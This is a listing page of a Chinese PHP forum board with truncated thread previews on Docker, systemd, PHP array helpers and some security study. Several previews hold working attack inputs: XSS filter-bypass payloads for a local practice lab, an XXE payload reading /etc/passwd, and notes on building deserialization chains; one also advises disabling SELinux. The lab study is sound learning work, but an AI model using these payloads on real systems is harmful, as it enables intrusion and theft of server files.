PHP
72个主题在此版块
-
很简单的弹窗 http://192.168.31.177/xssgame/level1.php?name=<script>alert(1)</script> 过滤了>、< http://192.168.31.177/xssgame/level2.php?keyword=" oninput='alert(1)'//&submit=‘搜索’ 过滤了>、<、' 用单引号替换了双引号 http://192.168.31.177/xssgame/level3.php?keyword=' oninput=alert(1) //&submit=搜索 过滤了>、<、" http://192.168.31.177/xssgame/level4.php?keyword=" onm ouseover=alert(1)//&submit=搜索 script替换成scr_ipt、on事件替换成了on_事件 利用伪协议 <a href='javascript:alert(1)'>来执行弹框 …
KaiWn的最后回复, -
- 0 篇回复
- 113 次查看
一、运行镜像 docker run -d -p 80:80 --privileged=true --name httpd --link mysql5.7 -v C:\docker\www:/var/www/html -v C:\docker\apache\conf:/usr/local/apache2/conf -v C:\docker\php7.2\conf:/usr/local/etc/php/conf.d --restart=always php:7.2-apache 二、配置站点 <VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html <Directory /var/www/html> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory> RewriteEngine on RewriteCond %{REQUEST_METHOD} ^TRACE RewriteRule .* - [F] RewriteRule !(^/static|\.(gif|swf|exe|png|jpg|js|css)$) /index.php [L] ErrorLog ${APACHE_LOG_DIR}/error.log CustomL…
KaiWn的最后回复, -
- 0 篇回复
- 127 次查看
[Unit] Description=workerman守护进程 [Service] WorkingDirectory=/var/workerman ExecStart=php /var/workerman/start.php start -d ExecRestart=php /var/workerman/start.php restart -d ExecStop=php /var/workerman/start.php stop # 程序崩溃后自动启动 Restart=on-failure RestartSec=10s # 用户角色 User=root # The default value is 90 seconds for most distributions. TimeoutStopSec=90 [Install] WantedBy=multi-user.target 参考 1 https://blog.csdn.net/bian2021/article/details/123919062 2 http://www.jinbuguo.com/systemd/systemd.service.html 3 https://blog.csdn.net/lidahanga_/article/details/111672529 4 http://www.ruanyifeng.com/blog/2016/03/systemd-tutorial-commands.html
KaiWn的最后回复, -
- 0 篇回复
- 130 次查看
1、找到php.ini,一般在/usr/local/etc/php/php.ini中,通过copy复制到宿主机之后去掉php_mysql.so前面的分号后上传 2、进入容器扩展安装目录/usr/local/bin 3、执行命令安装扩展 ./docker-php-ext-install mysql ./docker-php-ext-install mysqli 4、重启容器 docker restart myphp-fpm
KaiWn的最后回复, -
- 0 篇回复
- 120 次查看
php 中$_SERVER[‘QUERY_STRING‘]函数的介绍 • 简介php中的$_SERVER函数 $_SERVER是 预定义变量之一 ,可以直接使用,它是一个包含脚本位置信息(脚本路径)、请求页面的通信协议名称和版本(“HTTP/1.0”)等等信息的数组。 $_SERVER获取当前服务器信息。做题过程中遇到的四个变量的区分进行一个简单的介绍 ♦1. $_SERVER["QUERY_STRING"] #查询(query)的字符串 ♦2.$_SERVER["REQUEST_URI"] #访问此页面所需的URI ♦3.$_SERVER["SCRIPT_NAME"] #包含当前脚本的路径 ♦4.$_SERVER["PHP_SELF"]。 #当前执行的叫脚本的文件名 •示例: 1,http://www.boke.com/ 结果: $_SERVER["QUERY_STRING"] = “” $_SERVER["REQUEST_URI"] = “/” $_SERVER["SCRIPT_NAME"] = “/index.php” $_SERVER["PHP_SELF"] = “/index.php” 2,http://www.boke.com/scr.php/?a=bbb(附带查询) 结果: $_SERVER[…
KaiWn的最后回复, -
- 0 篇回复
- 105 次查看
php测试程序: echo "<?php echo '<p>Hello World</p>'; ?>" > /data/server/nginx/html/test.php 然后浏览器输入localhost/hest.php,报错file not found. 最终解决途径:关闭selinux 两种关闭方法: 1.临时关闭 setenforce 0 2.从配置里关闭,需要重启 vim /etc/sysconfig/selinux 改写文件内容如下
KaiWn的最后回复, -
在开启PHP是要使用libssl.so.1.0. 0或者libcrypto.so.1.0.0,但由于他们大多没有1.0.0版本,我是基于链接解决的,以libcrypto.so.1.0.0为例 1.首先查看一下当前系统文件里,libcrypto.so都有哪些版本 ll /usr/lib64/libcrypto.so.* 2.属实没有这个libcrypto.so.1.0.0,但是有这个/usr/lib64/libcrypto.so.1.0.2k,于是创建连接 sudo ln -s /usr/lib64/libcrypto.so.1.0.2k /usr/lib64/libcrypto.so.1.0.0
KaiWn的最后回复, -
第一周 学习php反序列化漏洞 要求:理解php反序列化原理 了解常用魔术方法的触发条件 能够自己构造反序列链 学习pop链的构造和一些常见的反序列化姿势 最少做三道相关的题目(难度不限),并写出wp Php是一种运行在服务器端的HTML脚本编程语言。该语言可以让web开发人员快速的书写动态生成的网页。 1. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性、 序列化是为了方便于数据的传输,形象化理解就像物流的过程。你想把一张桌子通过从a–>b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来(装的过程就是反序列化)。 Php进行序列化的目的是保存一个对象,方便以后重用。 2. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构 3. 魔术方法 魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载。魔术方法是一种特殊的方法,像函数但又不是,当对对象执行某些操作时会覆盖 PHP 的默认操作。以'__'+字符串的一些默认方法,这些方法对后面会讲的序列化与反序列…
KaiWn的最后回复, -
- 0 篇回复
- 112 次查看
function arraySort($arr, $keys, $type = 'asc') {//二维按照某个字段对数组排序 $keysvalue = $new_array = array(); foreach ($arr as $k => $v){ $keysvalue[$k] = $v[$keys]; } $type == 'asc' ? asort($keysvalue) : arsort($keysvalue); reset($keysvalue); foreach ($keysvalue as $k => $v) { $new_array[$k] = $arr[$k]; } return $new_array; }
KaiWn的最后回复, -
- 0 篇回复
- 104 次查看
思路:遍历二维数组,合并两个二维数组的值,赋值给新数组 function mergeArray($arr1,$arr2){ $newArr = []; foreach($arr1 as $v1){ foreach ($arr2 as $v2) { $newArr[] = array_merge($v1,$v2); } } return $newArr; }
KaiWn的最后回复, -
- 0 篇回复
- 108 次查看
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root> payload
KaiWn的最后回复, -
- 0 篇回复
- 112 次查看
<?php $redis = new Redis(); $redis->connect( '127.0.0.1', 6379 )or die( "could net connect redis server" ); $connect = mysql_connect( '127.0.0.1', 'root', '12345678' ); mysql_set_charset( 'utf8', $connect ); mysql_select_db( table ); $query = "select * from user1 limit 3"; $result = mysql_query( $query ); while ( $row = mysql_fetch_assoc( $result ) ) { json_encode( $row, JSON_UNESCAPED_UNICODE ); $id= $row['id']; $redis->rpush( $id, $row['id'] ); $redis->rpush( $id, $row['age'] ); $redis->rpush( $id, $row['name'] ); $redis->rpush( $id, $row['detail'] ); $data = $redis->lrange( $id ,0,-…
HACK1949的最后回复,